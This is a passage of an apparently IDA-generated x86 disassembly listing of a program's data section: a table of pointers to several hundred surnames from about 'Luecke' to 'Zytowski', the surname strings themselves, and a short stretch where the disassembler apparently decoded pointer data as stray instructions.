		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
; ---------------------------------------------------------------------------
		fsubr	st, st(3)
		inc	edx
		add	al, dl
		jmp	short loc_42E6E1
; ---------------------------------------------------------------------------
		align 10h
		enter	42EBh, 0
		shr	bl, 42h
		add	[eax-53FFBD15h], bh
		jmp	short loc_42E6F1
; ---------------------------------------------------------------------------
		align 10h
		mov	al, ds:980042EBh


loc_42E6B5:				; CODE XREF: ___:0042E6C8j
		jmp	short loc_42E6F9
; ---------------------------------------------------------------------------
		align 4
		dd offset aTudge	; "Tudge"
; ---------------------------------------------------------------------------
		mov	bl, ch
		inc	edx
		add	[eax+780042EBh], al
		jmp	short loc_42E709
; ---------------------------------------------------------------------------
		align 4
		jo	short loc_42E6B5
		inc	edx
		add	[eax-15h], ch
		inc	edx
		add	[ebx+ebp*8+42h], bl
		add	[ebx+ebp*8+42h], dl
		add	[eax-15h], cl
		inc	edx
		add	[eax-15h], al
		inc	edx
		add	[eax], bh


loc_42E6E1:				; CODE XREF: ___:0042E69Dj
		jmp	short loc_42E725
; ---------------------------------------------------------------------------
		align 4
		sub	bl, ch
		inc	edx
		add	[eax], ah
		jmp	short loc_42E72D
; ---------------------------------------------------------------------------
		align 4
		sbb	bl, ch
		inc	edx
		add	[eax], dl


loc_42E6F1:				; CODE XREF: ___:0042E6ADj
		jmp	short loc_42E735
; ---------------------------------------------------------------------------
		align 4
		dd offset aWaite	; "Waite"
		db 0
; ---------------------------------------------------------------------------


loc_42E6F9:				; CODE XREF: ___:loc_42E6B5j
		jmp	short loc_42E73D
; ---------------------------------------------------------------------------
		align 4
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		db 0D8h
; ---------------------------------------------------------------------------


loc_42E709:				; CODE XREF: ___:0042E6C5j
		jmp	far ptr	42h:0EACC0042h
; ---------------------------------------------------------------------------
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		db 88h
; ---------------------------------------------------------------------------


loc_42E725:				; CODE XREF: ___:loc_42E6E1j
		jmp	far ptr	42h:0EA800042h
; ---------------------------------------------------------------------------
		db 74h
; ---------------------------------------------------------------------------


loc_42E72D:				; CODE XREF: ___:0042E6E9j
		jmp	far ptr	42h:0EA680042h
; ---------------------------------------------------------------------------
		pop	esp


loc_42E735:				; CODE XREF: ___:loc_42E6F1j
		jmp	far ptr	42h:0EA500042h
; ---------------------------------------------------------------------------
		db 44h
; ---------------------------------------------------------------------------


loc_42E73D:				; CODE XREF: ___:loc_42E6F9j
		jmp	far ptr	42h:0EA380042h
; ---------------------------------------------------------------------------
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:0042E830o
		align 10h
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0042E82Co
		align 4
aZurn		db 'Zurn',0             ; DATA XREF: ___:0042E828o
		align 10h
aZucconi	db 'Zucconi',0          ; DATA XREF: ___:0042E824o
aZoldak		db 'Zoldak',0           ; DATA XREF: ___:0042E820o
		align 10h
aZerbini	db 'Zerbini',0          ; DATA XREF: ___:0042E81Co
aZegans		db 'Zegans',0           ; DATA XREF: ___:0042E818o
		align 10h
aZangwill	db 'Zangwill',0         ; DATA XREF: ___:0042E814o
		align 4
aZahedi		db 'Zahedi',0           ; DATA XREF: ___:0042E810o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: ___:0042E80Co
aYu		db 'Yu',0               ; DATA XREF: ___:0042E808o
		align 10h
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:0042E804o
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: ___:0042E800o
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:0042E7FCo
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:0042E7F8o
		align 10h
aYesson		db 'Yesson',0           ; DATA XREF: ___:0042E7F4o
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:0042E7F0o
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:0042E7ECo
		align 4
aYates		db 'Yates',0            ; DATA XREF: ___:0042E7E8o
		align 10h
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:0042E7E4o
aYankee		db 'Yankee',0           ; DATA XREF: ___:0042E7E0o
		align 10h
aYamane		db 'Yamane',0           ; DATA XREF: ___:0042E7DCo
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: ___:0042E7D8o
		align 10h
aVotey		db 'Votey',0            ; DATA XREF: ___:0042E7D4o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:0042E7D0o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:0042E7CCo
		align 10h
aWoods		db 'Woods',0            ; DATA XREF: ___:0042E7C8o
		align 4
aWooden		db 'Wooden',0           ; DATA XREF: ___:0042E7C4o
		align 10h
aWoo		db 'Woo',0              ; DATA XREF: ___:0042E7C0o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:0042E7BCo
		align 10h
aWolk		db 'Wolk',0             ; DATA XREF: ___:0042E7B8o
		align 4
aVoigt		db 'Voigt',0            ; DATA XREF: ___:0042E7B4o
		align 10h
aViviani	db 'Viviani',0          ; DATA XREF: ___:0042E7B0o
aVitali		db 'Vitali',0           ; DATA XREF: ___:0042E7ACo
		align 10h
aWilson		db 'Wilson',0           ; DATA XREF: ___:0042E7A8o
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:0042E7A4o
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:0042E7A0o
		align 10h
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0042E79Co
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:0042E798o
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: ___:0042E794o
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:0042E790o
aWilder		db 'Wilder',0           ; DATA XREF: ___:0042E78Co
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: ___:0042E788o
aViens		db 'Viens',0            ; DATA XREF: ___:0042E784o
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: ___:0042E780o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0042E77Co
aViano		db 'Viano',0            ; DATA XREF: ___:0042E778o
		align 4
aViana		db 'Viana',0            ; DATA XREF: ___:0042E774o
		align 10h
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:0042E770o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0042E76Co
		align 4
aWhite		db 'White',0            ; DATA XREF: ___:0042E768o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: ___:0042E764o
aWhately	db 'Whately',0          ; DATA XREF: ___:0042E760o
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0042E75Co
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: ___:0042E758o
aVerghese	db 'Verghese',0         ; DATA XREF: ___:0042E754o
		align 4
aVenne		db 'Venne',0            ; DATA XREF: ___:0042E750o
		align 10h
aWengret	db 'Wengret',0          ; DATA XREF: ___:0042E74Co
aWelsh		db 'Welsh',0            ; DATA XREF: ___:0042E748o
		align 10h
aWelles		db 'Welles',0           ; DATA XREF: ___:0042E744o
		align 4
aVelasquez	db 'Velasquez',0
		align 4
aWeissman	db 'Weissman',0
		align 10h
aWeissbourd	db 'Weissbourd',0
		align 4
aWeinhaus	db 'Weinhaus',0
		align 4
aWeingarten	db 'Weingarten',0
		align 4
aWeighart	db 'Weighart',0
		align 10h
aWaugh		db 'Waugh',0
		align 4
aVasquez	db 'Vasquez',0
aWasowska	db 'Wasowska',0         ; DATA XREF: ___:0042E720o
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: ___:0042E71Co
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: ___:0042E718o
		align 4
aVandenberg	db 'Vandenberg',0       ; DATA XREF: ___:0042E714o
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: ___:0042E710o
aVanallen	db 'vanAllen',0
		align 4
aWalter		db 'Walter',0
		align 10h
aWallenberg	db 'Wallenberg',0       ; DATA XREF: ___:0042E704o
		align 4
aWales		db 'Wales',0            ; DATA XREF: ___:0042E700o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: ___:0042E6FCo
		align 10h
aValberg	db 'Valberg',0
aWaite		db 'Waite',0            ; DATA XREF: ___:0042E6F4o
		align 10h
aVacca		db 'Vacca',0
		align 4
aUzuner		db 'Uzuner',0
		align 10h
aUsdan		db 'Usdan',0
		align 4
aUrdangBrown	db 'Urdang-Brown',0
		align 4
aUrban		db 'Urban',0
		align 10h
aUpsdell	db 'Upsdell',0
aUntermeyer	db 'Untermeyer',0
		align 4
aUllman		db 'Ullman',0
		align 4
aTzamarias	db 'Tzamarias',0
		align 4
aTwells		db 'Twells',0
		align 10h
aTuttle		db 'Tuttle',0
		align 4
aTurek		db 'Turek',0
		align 10h
aTurano		db 'Turano',0
		align 4
aTukan		db 'Tukan',0
		align 10h
aTudge		db 'Tudge',0            ; DATA XREF: ___:0042E6B8o
		align 4
aTuck		db 'Tuck',0
		align 10h
aTsukurov	db 'Tsukurov',0
		align 4
aTsomides	db 'Tsomides',0
		align 4
aTsiatis	db 'Tsiatis',0
aTruss		db 'Truss',0
		align 4
aTroy		db 'Troy',0
		align 10h
aTroiani	db 'Troiani',0
aTringali	db 'Tringali',0
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: ___:0042E694o
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: ___:0042E690o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: ___:0042E68Co
		align 10h
aToye		db 'Toye',0             ; DATA XREF: ___:0042E688o
		align 4
aTowler		db 'Towler',0           ; DATA XREF: ___:0042E684o
		align 10h
aTorske		db 'Torske',0           ; DATA XREF: ___:0042E680o
		align 4
aTorresi	db 'Torresi',0          ; DATA XREF: ___:0042E67Co
aTopulos	db 'Topulos',0          ; DATA XREF: ___:0042E678o
aToomer		db 'Toomer',0           ; DATA XREF: ___:0042E674o
		align 10h
aTomford	db 'Tomford',0          ; DATA XREF: ___:0042E670o
aTolman		db 'Tolman',0           ; DATA XREF: ___:0042E66Co
		align 10h
aTolls		db 'Tolls',0            ; DATA XREF: ___:0042E668o
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:0042E664o
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:0042E660o
		align 10h
aTimmons	db 'Timmons',0          ; DATA XREF: ___:0042E65Co
aTill		db 'Till',0             ; DATA XREF: ___:0042E658o
		align 10h
aTierney	db 'Tierney',0          ; DATA XREF: ___:0042E654o
aThroop		db 'Throop',0           ; DATA XREF: ___:0042E650o
		align 10h
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:0042E64Co
aThisted	db 'Thisted',0          ; DATA XREF: ___:0042E648o
aThibault	db 'Thibault',0         ; DATA XREF: ___:0042E644o
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: ___:0042E640o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:0042E63Co
		align 4
aThan		db 'Than',0             ; DATA XREF: ___:0042E638o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: ___:0042E634o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: ___:0042E630o
		align 10h
aTemmer		db 'Temmer',0           ; DATA XREF: ___:0042E62Co
		align 4
